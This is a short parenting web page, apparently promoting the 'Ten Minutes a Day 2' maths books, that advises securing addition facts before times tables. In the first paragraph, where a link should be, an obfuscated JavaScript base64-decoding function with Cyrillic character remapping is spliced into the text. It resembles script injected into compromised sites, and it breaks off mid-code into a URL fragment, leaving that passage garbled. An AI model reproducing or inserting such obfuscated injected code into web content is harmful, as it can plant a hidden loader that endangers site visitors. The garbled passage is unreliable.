Firstly, before knowing times tables, ask does your child know her addition and subtraction facts instantly. If not then these need to be covered first. Check out the function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe-struggling-with-understanding-numbers-i-want-my-child-to-know-their-early-number-facts-fluently-by-the-end-of-the-year/">Addition and Subtraction FAQs and follow this through before going any further. Ten Minutes a Day 2: book 1 will be a great start before beginning the harder multiplication facts.

Instant recall of times tables (multiplication number facts) are best taught using strategies for memorization. Ten Minutes a Day 2: book 2 teaches multiplication facts, and the Ten Minutes a Day 2: book 3 covers the division facts. Your child is ready to go. Ten Minutes a Day 2: book 4 covers both multiplication and division facts together revising all strategies taught - a great reinforcing tool, which increases speed and accuracy.